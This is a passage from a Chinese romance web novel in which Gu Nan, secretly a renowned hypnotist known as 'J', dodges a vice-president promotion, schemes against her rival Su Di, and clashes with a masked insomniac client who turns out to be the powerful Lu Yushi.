《马甲好像又掉了》
1. 会议
【又临时有事?】
【这是你这个月鸽我的第三顿饭。】
【没有两块鹦鹉螺我们不用见面了。】
手机频频震动,顾楠瞥了眼会议室主位上的男人,视线划向窗外。
乌云黑压压遍布天际,电闪雷鸣,瞬间颠倒日夜黑白,暴雨如同煮沸的热水,失控般滚落人间。
水汽氤氲落地窗,窗子清晰倒映着女人面容。
她五官精致,细长天鹅颈微微压出一点弧度,进门前随手扎的丸子头此刻已有松散迹象,几缕碎发悄无声息挣脱束缚落在莹润玉色的左侧脖颈,白与黑的交织处一颗小痣清浅无痕。
小痣上方,鱼骨链微有褪色,顾楠单手摩挲,收回视线。
【纪元宇的饭局,刚告诉我。】
【副总裁的事稳了?】
顾楠嘲弄地扯了下嘴角。
【不是。】
发完消息,她反扣放下手机,目光在会议桌前众人脸上一一扫过。
今晚新时报的高层除了看她不顺眼的那位外算是来全了,个个西装革履面容严肃,看PPT的眼神如同看向嗜血的猛兽。
会议室气氛凝重,桌上水培绿萝失去往日光泽,看起来死气沉沉。
所有人敛声屏气,似比困于疾风骤雨中的行人多几分绝望。
庆功宴办成鸿门宴在所有人的意料之外。
半个月前,新时报发布一篇报道,报道内容足够吸睛,成功让新时报进入北城市场。
因北城势力范围复杂,新时报能在一众权贵的地盘上脱颖而出,纪元宇作为新时报的实际掌权人,当即决定亲自为报道记者举办庆功宴。
记者昨日回浔城,今晚参加饭局。公司众人连庆贺的每一个词都在心里咀嚼过无数遍,没等大展身手,忽又接到消息。
北城有位大佬上午已经赶来浔城,今晚饭局也会到场。
瞬间惊大家倒吸一口凉气。
忙挨个流程比对报道所列姓名是否有北城权贵。
会议三个小时,未发现。
顾楠面无表情,明眸黑沉。
她对新时报副总裁的位置没有想法,若不是莫名其妙出来个大佬,她也不用在这白白耽误三个小时,心里暗骂一声,再次拿起手机。
系统切换,全黑界面只有一个佛手头像的联系人。
【我今晚饭局走不开,不确定什么时候结束,和对方改时间。】
佛手头像秒回。
【对方专门从外地赶过来,提前两个月花大价钱和我们预约,应该不会同意。】
顾楠指节无意识轻叩桌面,眉眼深垂,长睫掩住眸中情绪。
打字没有语气,一如既往桀骜。
【要么按我的时间,要么让他滚。】
“顾总还有要补充的吗?”
纪元宇忽偏头,办公室一众人等也随之移过视线,簌落落目光生根般落在顾楠周身。
她不习惯在任何场合成为焦点,眉心微蹙了下,不满地踢了踢桌下男人的腿脚,表情冷淡:“没有。”
“散会。”
与会人员鱼贯而出,最后一人离开,纪元宇卸去满身强势,抬手松了下领带,脊背后仰放松身体,撩目看她。
“聊什么呢,这么起劲?”
顾楠斜睨他一眼,单手灵活切换手机系统,在他视线落在自己手机屏幕前打开和朋友的聊天对话框,有意让他看到聊天消息,随后关闭屏幕,双臂环绕在胸前,勾着嘴角嘲讽。
“新时报的大boss做不了自己饭局的主,你可以退位了。”
纪元宇神色正了正,语速极慢似在思考:“北城……”
剩下的话没说完,顾楠面上兴致缺缺,漫不经心问:“他们想做什么?”
“不清楚。不过没关系,只要不和他们起冲突,浔城地界我还是说了算的。”纪元宇语气略顿,抬眸看她,欲言又止,“副总裁的事...”
顾楠:“没兴趣。”
她左手不动声色将手机拿到桌下,快速切换系统界面,利索挂断佛手头像的语音电话。
没等有下一步动作,电话又打来。
一连挂断三次,佛手头像锲而不舍。
她双目渐渐蒙上一层戾色,不耐烦轻“嘶”。
纪元宇黑睫微闪,俊朗刚毅的侧脸剑眉昂耸,瞳孔威严随着两人独处时间的增加而渐渐褪下。
窗外大雨不见停歇,他背窗而坐,宽厚的肩膀意欲为眼前人隔开身后风雨。
他身体朝顾楠所在方向前倾,郑重说:“其实也不一定非要饭局,只要你愿意,别人是否同意不重要,我能解决。”
“不愿意。”顾楠张口就答,边说边关闭屏幕,将手机丢回口袋。
她在新时报兼的闲职,刚好是那位记者的顶头上司,纪元宇没明说,她大概猜到纪元宇会给那位记者升职,再顺水推舟把她提到副总裁的位置。
副总裁么,她很忙,没时间。
她懒散掀了掀眼皮,没所谓道:“说了没兴趣。苏迪能力不错,你可以考虑她。”
再三被顾楠拒绝,纪元宇眸中光芒微微黯淡,嘴角扯一抹自嘲,很快恢复笑容,至少顾楠身边只有他一位异性,倘若顾楠有结婚的想法,怎么说他都是第一人选。
“那今晚我就先不提了。”
顾楠若有所思“嗯”了一声,白炽灯光倾泻而下,衬她肤色莹白如玉,卷翘睫毛在她眼底打下半圈阴影,她鼻梁精致挺直,嘴唇薄抿。
纪元宇喉结微微攒动,劝道:“不用担心,强龙不压地头蛇,他们不会贸然插手浔城。”
顾楠平静移过视线,难以理解她脸上哪一根毛孔有表现出担心。
她顿了下,慢条斯理挑眉:“那你知道他们为什么今晚过来参加庆功宴吗?”
不等纪元宇开口,她轻飘飘挖苦:“指望你打听北城的消息,我还不如念两句急急如律令,说不定更快一些。”
“……”
她起身,目光带了点怜悯,靠近拍拍纪元宇肩膀,语重心长。
“是我的错,浔城的事你都搞不明白,我竟然妄想让你打听北城,我太过分了,自罚一杯。”
话落抄起桌上纸杯,一饮而尽,转身出门。
身影落入暗色,嘴角微勾的嘲弄随之落下。
空荡荡的楼道将脚步声无限发大,窗外阴雨连绵,狂风怒吼着拍向窗柩,冷凝成珠的水汽从窗面滑落,留下条条白痕。
窗台积攒的水流顺着墙壁淌到地面,落了一滩水渍。
顾楠站在水渍旁,冷白腕骨挤在窗台边,被堵塞的血管滞为殷红,如同盛开在冰面上的曼珠沙华,赤色妖艳平添几分冷凄。
她落目于雨幕虚无处,两弯秀眉紧紧蹙起,好看的桃花眼深幽凉薄,没有温度。
再漂亮的脸蛋也掩盖不住骨子里的冷傲。
每每下雨天,全身上下每一个细胞都在叫嚣着乖戾。
语音通话第n次打过来,她眉心烦躁更盛,抬手用力掐了下鼻根,回头环顾四周,后背靠在墙上,扯过耳机接通。
“说。”
佛手头像没有因为她的语气生出退缩,娓娓劝道:“这位为了见面催眠,多付30倍费用,你说不来就不来,费用我退不退?”
顾楠掐着耳机线阴阳怪气:“你转告他,给下边烧过去的纸钱我们这边不兴往回退。”
原本约好线上远程,那位非要见面催眠,线下见面有暴露自己的风险,她不同意,那位就一点点砸钱。
砸钱就算了,还要阴阳她收费汇率堪比天地银行。
“啊?
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”佛手头像苦口婆心:“我看着这位是人傻钱多的主,你不是缺钱吗?干什么和钱过不去,就抽10分钟过来一趟,先应付过去,剩下的我来处理,行不行?”
“去不了,”顾楠语气散漫,出声不容质疑,“我还有事,挂了。”
“欸等等,不然这次费用我们三七分,我三你七,二八也成,姑奶奶你别砸我招牌啊,我多少年才能碰到一个舍得掏钱的大单子,全家老小都等着这单子吃饭呢。”
顾楠眼神闪了闪,没吭声。
“要不是对方点名请你,我肯定不会打扰你。这些年我对你不错吧,你不想被人知道身份,别说其他人,就连我都不知道你长什么样。别人的分成都是我拿六,我们之间一直是你拿六。”
“不是我非要逼你,今上午还有一位女士联系我,要出双倍费用请你,我知道你最近不接单,直接拒了。那位老早就沟通好了,退钱是小事,叫人搞臭名声就完了。”
楼道忽响起脚步声,由远及近,皮鞋踩在地板上的声音干脆利落,颇有常年上位者的从容。
顾楠凝目辨别声音源头,她收起散漫,压低嗓音:“11点以后。”
说完按下挂断键,对面的欢呼声嘎然而止。
皮鞋踩在大理石地板的“哒哒”声也在同一时间停住。
“怎么站在这?”纪元宇去而复返,诧道。
顾楠懒懒抬了下眼皮,全身力气泄在墙边,单腿撑着身形,不紧不慢缠绕耳机线,眼尾染着淡淡躁意。
终于将耳机线最后一点翘边摁回去后,她小声呼了口气,朝窗外方向努努下巴,吐出两个字。
“赏雨。”
知道她讨厌下雨天的人不超过五个,刚好纪元宇是其中之一。
明显被她搪塞,纪元宇依旧笑眼盈盈。
顾楠砸吧下嘴,被自己脱口而出的借口气笑,换话题:“我11点有事,如果太晚需要提前走。”
“11点有事?”
顾楠随口胡说:“对我来说,没有事情比睡觉更重要。”
心下冷嗤,但有人偏要耽误她的时间。宁愿选择今晚11点以后,都不肯等她到第二天的白天。
不满的同时又生出几分怪异,那人明显不缺钱,怎么会拖成难以治愈的睡眠障碍。
纪元宇颔首:“据说那位睡眠质量不太好,应该不会太晚。如果到时候我走不开,我让他们先送你回去。”
顾楠沉浸在自己的思绪,话没入耳,敷衍点头。
她见过许多慕名而来的睡眠障碍患者,却没有一人的情况比得上那人严重。
远程交谈时,她能感受到对方在极力配合,但不知是那人的自我保护意识过强,还是生活环境过于不堪,催眠状态总是很难进行到最后。
她不是悯怀苍生的好人,若不是看在钱的面子上,早甩手不干了。
佛手头像发来地址。
【铂爵会馆1901。】
顾楠细眉微挑。
今晚饭局在铂爵餐厅,餐厅和会馆同属铂爵宫旗下,相隔一条小径。
省了她路上折腾。
佛手头像又发消息。
【上午那位女士加价到5倍了,要不你考虑一下?】
顾楠一眼扫过,懒得回消息,手机切换到常用系统,打开和朋友的聊天框,忽略三个鹦鹉螺,打字。
【帮我叫车送下衣服。】
对面直接打电话过来,顾楠瞥了眼纪元宇,往远处多走几步,接起。
电话对面,女声爽朗:“你不去纪元宇的饭局了?”
顾楠:“去。”
“饭局结束去?你这么有医德?”
顾楠再次想解释她不是医生,碍于纪元宇在场,生生忍住。
“碰上一个有钱有病的傻.逼。”
2. 酒店
浔城大雨如注,给整个城市蒙上半缕朦胧。
一辆珠光钛灰色G63穿进雨幕,疾驰在城市主干道路。车子驶过湿润马路的摩擦声与各式鸣笛交织在一起,纷纷拜倒在无尽雨声中。
雷声轰隆而过,闪电撕开天幕,银河之水倾注人间,仿佛要吞噬万物。
雨点噼里啪啦砸向车窗发出沉闷声响,顾楠掏出耳机戴上,阂眸小憩。
很快,车子稳稳刹停在铂爵餐厅门前,早有工作人员撑伞等待,乍见车停,皆顾不得被浸湿的裤脚快步迎上前,迅速打开车门,伞面倾斜,将车内客人接待至大厅。
纪元宇上楼去见那位神秘大佬,顾楠没兴趣,在一楼中厅溜达边等衣服。
琳琅满目的食物没能让她提起食欲,靠近捏了片曲奇,未等送到嘴边,浓郁的高级香水味忽席卷鼻腔。
不用回头便知来人是谁。
香水味遮住曲奇本身的清甜,她看了眼手上曲奇,无处可放只能丢进嘴巴,顺手从大理石台上拿过湿纸巾,慢条斯理拆开包装袋,仔细擦拭手指,转身施舍似得给来人一个眼神。
苏迪身穿职业碎冰蓝色礼裙,长卷发极显气质,浓妆没能抹去她原本的高颜值。她脊背挺直,直角肩勾勒出的弧度煞是好看,嘴角勾笑饶有趣味的上下打量顾楠,阴阳怪气:“顾总也来了。”
“纪元宇在楼上,28楼。”顾楠转身要走。
苏迪眼睛转了转,脚踩7厘米高跟鞋,扭着腰肢慢步走过来,挡住顾楠去路,高抬下巴在顾楠耳边低声:“想知道今天来得是谁吗?”
顾楠偏了下头,将湿纸巾丢进垃圾桶,语气松弛:“不想。”
苏迪被她噎了下,瞪着眼睛冷哼:“北城,陆家太子爷。”
北城权贵云集,皆以陆家为首。
陆家太子爷莫说在浔城,便是在北城都是位令人谈之色变的人物。
顾楠半吞半吐“哦”了一声,绕开苏迪准备离开。
抛开所有来说,整个新时报她最欣赏的人便是苏迪,苏迪毕业于名牌大学,其后去国外深造三年,众人口中的大美女从来不靠颜值取胜,全靠自身本事走到如今新时报高层的位置。
她能理解苏迪为什么拿她当死敌。
苏迪拼尽全力才拿到副总裁位置的“入场券”,而她仅凭和纪元宇的私交,就力压众人成为副总裁人选之一。
这事搁谁身上谁不闹心?
思来想去,还是怒到纪元宇头上,她无意副总裁职位,纪元宇的好心给她带来的麻烦不是一星半点。
“副总裁的位置你就别想了。”苏迪在她身后喊。
顾楠脚步顿住,回眸反问:“你哪只眼睛看到我对副总裁有兴趣?”
“没兴趣你为什么过来。别以为我不知道,纪元宇让你参加今晚的饭局,就是为了给你铺路。”
“嗤。”顾楠盯了眼苏迪脸上自信,摇摇头没说什么,迈步的动作再次被拦下。
“陆少今天过来给我撑腰,你最好别整幺蛾子,不然惹恼他,有你好果子吃。”
顾楠舌尖扫过下牙床,心里默念,再一再二不再三。
她已经忍了苏迪三句话。
再忍就是对乳.腺的不友好。
“陆少听你的话,你无痛当妈了?”
话音落下,苏迪最先反应不是着急反驳,而是满眼紧张四处观察,环顾一圈后长松口气,斥道:“你别胡说八道,陆少不是你能得罪的。”
“怂成这样,到底谁不敢得罪。”
“你!”
苏迪气急瞪眼,隔了会,高抬下巴:“我联系上了催眠师J,只要能缓解陆少的失眠症,别说副总裁,就算去北城他也能给我安排。”
后半句话顾楠半个字没听进心里,她少见的怔了下,五官紧皱,揉揉耳朵,声音提高两个度:“谁?”
“土包子,”苏迪咕哝一声,“J,你不知道很正常,全国…哦不,全球最厉害的催眠师。”
大厅人来人往,不多会时间进来两拨新时报职工,大家知道顾楠和苏迪是死对头,远远见她们对面交谈,都怕引火烧身没人敢贸然过来打招呼,一个个低着头装眼瞎没看见,快步上楼。
人声嘈杂中,顾楠踱步到罗马柱旁,脊背靠在壁画上,单腿斜撑着身子,瞥了眼苏迪,没什么表情的从包里掏出手机,切换系统,点开佛手头像的对话框。
【上午联系你的女士姓苏?】
【对,你认识?】
看着秒回的消息,顾楠乐了。
【带你坑笔大的。】
发完消息,她拢了下外套,似笑非笑抬眼。
苏迪神经一紧:“干什么?”
“我去找找这位J,说不定我也能给姓陆那家伙无痛当妈。”
苏迪不齿,高仰头颅:“就凭你?”
她确定J足够神秘,才敢告诉顾楠。平日听多了顾楠满嘴跑火车,对顾楠的话始终持百分之二百的怀疑态度。
J是什么人,一个靠纪元宇上位的女人不可能寻到J的踪迹。
顾楠把玩手机,没所谓耸肩,食指指了下对面立镜,挑眉:“说不定我运气好,迎面就能看到。”
……
“神经病。”
高跟鞋踩在大理石地板上的“噔噔噔”声渐远。
顾楠慢悠悠转头,直到苏迪的背影彻底消失在视线内,她嘴角勾了抹吊儿郎当的笑。
良久,红唇轻启尾音微扬,她面容无辜。
“给过你提示了哦。”
最后一拨新时报员工进门,衣服刚好送到,她和几人草草打过招呼,拿着衣服先去了29楼,又把口罩和墨镜都装进带锁的柜子里,做完一切看了眼时间,从步梯下楼。
铂爵餐厅的层高偏高,自26楼到30楼专为接待贵客使用,是以步梯楼梯间几乎不会出现工作人员以外的客人。
步梯安静,每一步都带着清晰的回声,顾楠大步流星往下走,口中叼着发圈,左手抓着头发,右手拢过碎发,整理好发型后对着手机屏幕照了下。
后脑勺饱满圆润,很规整的丸子头。
她满意收起手机,抬眸只见楼梯口处一位男人独立倚墙站立。
往前一步是灯火通明,男人站在暗与亮交界处靠后一步的位置,黑夜模糊他面部轮廓。
他斜倚在墙角处,一身高定西装裁量得体,笔挺西装裤衬他腿长腰细,上好材质的深灰衬衫刚好包裹住健硕胸肌,宽肩撑平褶皱。
虽看不清神情,却能清晰感受到他周身气场低沉。
“嘭。”
楼道外不知坠落什么重物,声控灯猝然亮起,窥探的视线暴露于灯光下。
男人抬起眼睫,漆黑眸子沉甸甸看着她,表情冷恹,带着被打扰的不悦。
四目相对,顾楠身形猛地僵住,表情紧绷,脚步随心跳同时凝滞。
男人五官优越,分明清隽贵公子长相,他眼底却满是倦怠,倦怠之下又有几分不易察觉的如同醒狮蛰伏般锐利,黑眸沉沉,淡化了眉眼锋利。
多年催眠师经验,顾楠一眼看出男人常年经受难眠的困扰。
早被她丢到九霄云外的善意倏地冒头,路过男人时脚步停顿,犹豫要不要开口。
抬眼见男人侧了下身子,特意拉开和她的距离,好像她…是什么脏东西?
?
男人视线矜贵冷傲,短暂从她脸上停留半秒,没有留恋地移开。
她从男人眼中品出很直白的一个字——滚。
“呵。”
顾楠翻了个白眼,她和善良早就割袍断义,看来善良没有重投她怀抱的想法。
“有事?”
男人嗓音低醇,郁森中多添阴鸷,黝黑瞳仁扫过的视线饱含上位者的压迫。
比纪元宇更甚几分。
顾楠平静收回视线,甩手大步离开。
顺便无声谴责不知好歹的心跳。
楼道外的脚步声一来一去,有片刻重合,随后楼道口进来一位身穿休闲夹克的男人。
“又不舒服?8点?你去忙,饭局我盯着。苏迪也是,不过一个新时报的副总裁,哪用得着你亲自出面。”
“对方临时有事,改到11点之后。”
“11点?这个J胆子不小,敢再三鸽你陆少。”
话落良久,空荡的楼梯口响起一句没有耐心的低沉。
“你盯着。”
——
包间门口,顾楠敲下最后一个字。
【看见一个人,长得有点像我未婚夫。】
她推开包间门,抬眼扫过餐桌,主位两个座椅无人,苏迪和纪元宇分别坐于主位两侧。
一个笑容明媚,一个眼神阴冷。
顾楠诧了下,眉尾微扬,在纪元宇身旁入座,低声问:“这是?”
没等纪元宇回答,包间房门再次被
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打开,男人长腿最先入目,休闲夹克套在他身上多些风流感,他嘴角蕴着假笑,客套:“久等。”
纪元宇起身,“邱少。”
邱景循随意摆手,示意大家都坐,“陆少有事先走,今晚我和纪总不醉不归。”
众人眼观鼻鼻观心,纷纷装作不经意的样子窥伺顾楠神色。
顾楠平时接受各种稀奇古怪的视线奇多,没心没肺打开和朋友的聊天对话框。
看着新消息沉默。
【醒醒,你哪来的未婚夫。】
她打字:【五年前那个。】
那边也有很长时间的安静。
【如果是他,你现在应该碎成渣了。】
顾楠抱着手机思绪飘远,她上周去北城路过拳击馆,鬼使神差进门,一拳1700的记录至今没人打破。
她轻“嗤”一笑,暗忖,莽夫而已。
饭桌上的交谈声陡然停下,所有视线聚焦在她身上。
她后知后觉,不小心没控制住嘲讽的音量。
邱景循定睛打量她,抬了下酒杯:“这位是?”
纪元宇不动声色挡回去:“顾楠顾总,新时报新任副总裁。”
顾楠:?
邱景循低笑:“奇怪,陆少听说新时报副总裁是苏迪苏小姐,专程过来参加庆功宴,怎么换人了?”他依旧笑,声音多些不明显的威胁:“戏耍陆少……大家知道后果。”
纪元宇目光黑沉沉扫过苏迪,他不开口,在场没人敢接邱景循的话,一时间都放下筷子,视线无处安放。
包间暗流涌动寂静滋生,气氛微妙。
饭菜香味不足以掩盖剑拔弩张的气息。
只有顾楠仿佛感知迟钝,旁若无人的给自己倒了半杯饮料,轻抬下巴一饮而尽,玉色下颌骨与奶白瓷杯不逞多让。
邱景循眼神微眯,眸中暗流一闪而过,舌尖轻拭下唇,视线在她脸上逡巡。
“顾总?”
顾楠懒懒“嗯”了声,眸光一闪,计上心来,慢声慢气:“新时报似乎和陆少没有关系?”
“苏小姐是陆少的师妹,陆少自然上心。”
顾楠单手撑在唇边,遮住嘴角上扬,胳膊挡开纪元宇安抚的手,假意失落,眉眼深垂,眸中涌上星星点点,沾稠半段浓睫。
“我为了新时报起早贪黑,多少年没睡过一个整觉,熬了这么久,眼看就要功成名就…呵,这世界上,从来没有公平可言。”
美人面庞遮住一半,泫然欲泣。
在场众人同时忍住想发声的嘴,平均一个月来三次公司点卯就走的人,怎么好意思说自己艰辛。这些话怕不是总结了苏迪入职以来的经历。
邱景循眉心揪了下,心下纳罕,好像和打听来的消息不一样?
苏迪没忍住打断她:“你要脸吗?”
顾楠视线缓缓滑向苏迪,不发一言。
微红的眼眶内,双眸泛着水波涟漪,我见犹怜。
邱景循拿过水杯灌了一大口,湿润干涸的嘴唇,扬声:“顾小姐想要什么公平?”
“靠个人能力自然没用。”顾楠一点点挪回视线,与邱景循对视。
苏迪气得脸色涨红:“你有过能力吗?”
邱景循:“说说看。”
顾楠心下好笑,再次看向苏迪,“你说的那位J,我们谁先请到,这个副总裁的位置就归谁,怎么样?”
话落,纪元宇终于压下心尖闷闷的疼,眸光坚定,冷冷出声:“新时报用人,不需要外人插手。”
顾楠抿唇,无语地瞥了眼纪元宇,有点心梗。
好在邱景循给力。
“既然顾小姐提出来,就按顾小姐说得办吧。”
顾楠颔首,淡淡看了眼苏迪,只见她高昂下巴势在必得。
一杯清水压下嘴角翕动,顾楠默默拿出手机切换系统。
下划佛手头像两屏疑问,懒散打字。
【给你个狮子大开口的机会。】
佛手头像:【?】
【姓苏那位,你随便叫价,不用通知我。】
佛手头像:【??】
【按她的年薪算,她的底线应该在七位数。你抬到八位数,她同意你就应。】
佛手头像:【???】
顾楠关了手机,没再回消息,手托下巴意味深长凝视苏迪,视线相交,她嘴角勾起微笑,温暖阳光人畜无害。
苏迪:?
3. 会馆
“顾楠——顾楠!”
顾楠前脚从包间出门,纪元宇后脚追上来,神情严肃,郑重向她保证:“副总裁的位置是你的,谁来也改变不了。”
顾楠:……
不怕神一样的对手。
“如果当年不是你在,新时报……她们不知道,我不会忘记。”
包间房门紧闭,楼道内两人对面站立,纪元宇眸中毅然从未动摇,顾楠脸上没有表情,静静打量他一会,看向他身后。
记忆中的春雨应该是疏密得当,淅沥绵密,带着生的希望。
然而这场大雨仿佛要将全年降水量在数小时间扎堆降落,不给生灵留下活路。
一望无际的墨色中,雨势迅疾,劲风裹挟雾气涌进窗口,惊起两下寒颤。
顾楠揉揉胳膊,两臂环在胸前,身体后仰,嘴角挂上玩世不恭的笑,故作深沉道:“知恩图报是好事。”
“我…”
“但真没必要。”
早知道纪元宇会这么走心,她就不演戏了。
麻烦。
“顾…”
“走了。”她大步转身,头也不回敷衍摆手:“我不要,给苏迪。”
两分钟后,身后没有脚步声,她回头瞥了眼空荡荡的楼道,拐进步梯,之前站在门口的男人不知何时离开,空气中残存不明显的沉香气味。
回想男人情状,顾楠不屑轻勾唇角,那么严重的睡眠障碍意图靠沉香助眠绝对是痴心妄想。
片刻摇头,能在这层楼站着的人,除了纪元宇这种顺风顺水的富贵人家子弟,精神正常的是少数。
不过,拒绝她的好心,就是那个人活该了。
毕竟她这辈子也好心不了几次。
-
29楼楼道只有一位阿姨在打扫卫生,楼道弥漫着清新白茶香,将窗外春雨腥潮悉数掩盖。
顾楠侧身拐进角落房间,熟练输入密码打开电子锁。
衣橱的包裹原封未动,她整理衣服时一个封口塑料袋从中滑出,落地无声。
她抿唇给塑料袋拍了个特写,发给朋友。
朋友很快回复:【把你那破菊花扔里面,不然淋了雨又得生锈,我可不想再陪你去醉闹酒吧,太丢人了。】
顾楠拿着手机端详,反应了好一会,确定对面在嘲讽。
【首先,它有个很好听的名字叫雏菊。其次,我刚刚在心里给它开过光了,死不了。】
聊天框上方正在输入中的显示整整持续半分钟,在她放下手机的前一秒弹出消息。
【行,我抽时间给它和它的主人上柱香。】
顾楠:【……它的主人不一定死了。】
【对,你们只是失散在茫茫人海中,你甚至不知道人家姓名样貌。】
顾楠敷衍扯了扯嘴角,脸上表情随动作而消散。
她低头摘下项链,拿在手上把玩。
只是最寻常的小雏菊装饰,黄白色花瓣依旧如初见时精致,因为年份久远,早已失去光泽。
花瓣下方银白色流苏上个月因为沾水后没及时处理,隔日便生出斑斑锈迹,那天她喝了点酒,从不于人前失态的她吵嚷着问酒吧要说法。
后来酒醒,她只说自己酒品不好,只字不提突然迸发的怒火。
她摩挲流苏亮片,手捧着放在心口,万幸锈上去的时间不久,来得及弄干净。
斜风吹动塑料袋,她顺着风的方向捡起,拿过纸巾将雏菊包裹两层,这才小心翼翼将塑料袋封口,郑重放进最深层口袋,轻轻拍了拍。
做完这些,她换下衣服,戴好口罩和墨镜,临出门又将鸭舌帽扣在头顶。
铂爵餐厅侧门有一道专门去往会馆的长廊,长廊贯穿小花园,花园池水清澈见底,草木四季常青。
大雨正急,走廊为数不多的几人都在匆匆赶路,顾楠不喜欢让自己看起来很狼狈,是以走得很慢。
身后脚步声嘈杂,没等回头,身形猛的被人撞向一边,她忙抬手抓向立柱,将将稳住没让自己摔下廊角。
“嘶。”
回头只见七八个保镖簇拥一人从她身旁快步走过。
落在最后的保镖回头低声丢了句:“抱歉。”
顾楠眉心紧锁,她完全没从那位保镖脸上读出任何类似抱歉的情绪。
他们走得很快,没多会便脱离视线。
顾楠长吁一口气,嫌弃地拍拍胳膊,忽动作一窒,拧眉轻嗅空气中残留的淡淡沉香味。
心里暗骂一声,再次唾弃自己莫名其妙的好心。
带着一肚子火气推开1901的房门。
未进门,先听到一句冷声:“你迟到了。”
几分耳熟。
“路上遇到一个没长眼……”
视线隔着墨镜与男人目光交汇,顾楠瞳孔骤然收缩,卡在嘴边的脏话被她生生咽下。
屋内灯光明亮,男人站在窗前,身形挺拔,裁剪合体的衣服完美勾勒出他的身材,宽肩窄腰刚好达到黄金比例。
他上身只穿了件衬衫,未打领带,领口处纽扣解开一颗,锁骨精致若隐若现,脸上戴着银色面具,花纹简单,只露出棱角分明的下颌骨和…一双眼睛。
顾楠气不打一处来,隔着口罩也没能成功忽略空气中的沉香气味。
一天闻三次,三次不愉快。
她迟疑片刻,轻推推压迫鼻梁的墨镜,将楼梯间怀疑问出口:“我们见过吗?”
面具男人轻掀眼皮,慢吞吞上下扫视她半秒,眸光深邃阴沉。
没接话。
顾楠撇嘴,心内总结——一个有钱但眼瞎,有病且没有礼貌的傻.逼患者。
活了24年,很少有人能在短短几个小时内集齐她所有反感的特质。
她随手丢下包,大爷似得往沙发一坐,挑眉冲男人勾勾手指,示意他过来。
男人没理她,径直走到对面沙发,“我只有半个小时。”
房间隔音效果极好,几扇窗子完美阻隔窗外大雨滂沱,屋里静得落针可闻。
顾楠在沉默中仰头,口罩遮住她满脸疑色,许久找回自己的声音,“你是不是没搞清楚状况,是你找我,不是我求你。”
“我付过钱。”
男人口吻漠然,银色面具泛着冷幽的光。
理所当然的语气从这幅面具下发声,给这句话镀上一层阴鸷如冰的寒意。
顾楠手托下巴沉吟,墨镜挡住大部分刺眼光线,她邪气一笑。
“有些人很没有合约精神,比如我,付了钱也要看我的心情。对于我讨厌的人,我一般不会答应催眠,如果必须帮讨厌的人催眠,我会多收取百分之三十的精神损失费,比如…”
她指尖流转轻轻一指,勾着嘴角:“你。”
话落,男人依旧脊背挺立没有动作,眼中不见怒色,淡淡扫过顾楠全身,最后停留在那副墨镜上。
一股无形的压力扑面而来,仿佛威势自骨髓渗透,让人不寒而栗。
“不同意没关系,请便。”顾楠起身作势要走,眉间轻佻,笑语中带着盛气凌人:“记得结一下房费。”
男人视线骤沉。
顾楠无所谓耸肩,“既然求我,就要守我的规矩。”
毕竟,她治不好的失眠患者,没人能接手治疗。
房间气压越发低沉,屋内但凡有第三人都不敢随意发出呼吸声,顾楠注视他,默默数秒。
“结束后打给你。”
顾楠嘴角扯笑,气定神闲坐回去,“可以。”
暗道,喜欢送钱的傻子,多多益善。
她不是医生,医德那么高尚的词不配用在她身上,既然多收了钱,她斟酌分析:“半小时不行,你的情况很严重,催眠的办法有很多,适合你的我还没找到
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,挨个试下来…”
男人抬腕看时间,打断她:“20分钟,你看着安排。”
顾楠:“你是不是听不懂人话?”
“你迟到3分钟,耽误我7分钟。”男人眼眸如炬,语速和缓却带着让人无法抗拒的压力。
顾楠抬眼看着他,男人大约久做发号施令的上位者,早没了与人和平共处的寻常心,即便平视,男人眼神中依旧是冷傲逼人的睥睨。
静默对视,顾楠拿包就走。
“钱退你,没心情了。”
没走两步,手腕猛被人?住,腕骨霎时传来巨痛,她回头,银色面具在眼前放大,面具下的眸子散发着危险信号,男人一字一顿:“不要挑战我的底线。”
顾楠挥腕甩开,她未退半步,脸上挂着邪气的笑,说教:“求人办事,对我客气点。”
男人顺着她的力道松手,很快用另一只手挑起她的下巴,目光锐利:“别太咄咄逼人。”
两人身形紧贴,隔着一层墨镜目光如矛,周身火.药味弥漫。
顾楠单手撑着桌沿,用小臂撞开他的胳膊,动作幅度太大外套被蹭下大半,墨镜歪了一条腿险些掉下来,男人抬手帮她戴正。
……
她失语抿唇,还是个有强迫症的傻.逼。
随即腰腹发力,趁男人松懈提膝将他踹向对面沙发。
一个白色的东西从口袋滑落,轻飘飘磕在桌角,又顺着地心引力滚进桌底。
顾楠拍拍手上不存在的灰尘,往前走了几步,单手撑在沙发背上,居高临下凝视男人。
男人后背靠在沙发上未动,他的眼神很冷,但又不只是冷,几分空洞隐藏的恰到好处。
不聚焦的目光看起来仿佛没有生命力,顺从命运的安排随波逐流,留下空荡荡的虚无。
她怔了下,别开视线,半晌想通,那是被禁锢的压抑。
“我这人不吃软,更不吃硬,你最好听话一点。”
男人沉默,一双眸子冷若寒潭。
“既然你有事,再约吧。”顾楠想了想,回头补充道,“对了,不要太晚,我不能睡觉的时候,脾气很差。”
男人扫了眼桌下,他脊背后仰,脑袋枕在沙发背上,阖眸不言。
心跳节奏比不上秒针移动的速度。
没多会,房间门被人打开,进来的人脚步凌乱,“御时?”
陆御时掀起眼皮,单手摘下面具,扫一眼脚下狼藉,掐了下眉心,语气低沉:“有止痛药吗?”
邱景循:“头疼?”
得到肯定的答复,邱景循招呼服务生去拿药,又吩咐人将房间打扫干净。
他纳闷:“J的催眠术不是对你很管用吗?怎么你的脸色看起来比之前还差。”
“时间太紧来不及,回头再约。”
“今晚跨国会议,你能撑住吗?”
陆御时接过药片温水服下,继续阖眸养神,淡声:“嗯。”
两人正说话,服务生拿小包透明塑料袋走过来,“陆少,这是从桌子下面捡到的。”
陆御时睁眼,轻抬下巴,示意服务员把塑料袋放到桌上。
邱景循随手接过,捏了捏塑料袋内皱成一团的纸巾,不解道:“给垃圾密封?”
“她的东西。”
“J?”
“嗯。”
“J怎么样?”
陆御时盯着天花板表情冷漠:“一个没有时间观念、高傲、素质低的女人。”
邱景循笑着打趣:“能从你嘴里听到对女人的批判真不容易。”
两人边走边聊,半小时后回到公寓,书房灯火通明,助理已经准备好开会所需资料,陆御时打开电脑,看到佛手头像的留言。
【先生您好,J丢了一个东西,据服务员反馈是您拿走了?那个东西对J很重要,您看能不能帮忙送回铂爵会馆。】
4. 项链
黄昏时分,天幕落下卷珠帘,无休无止的雷声宛若受惊的野兽,嘶吼着坠落,霎时天昏地暗。
高楼林立不显巍峨,瑟缩为风雨飘摇中一尾墨点。
大雨延伸春寒料峭。
铺天盖地的雨点无情地拍打在门前跪伏的女孩身上。
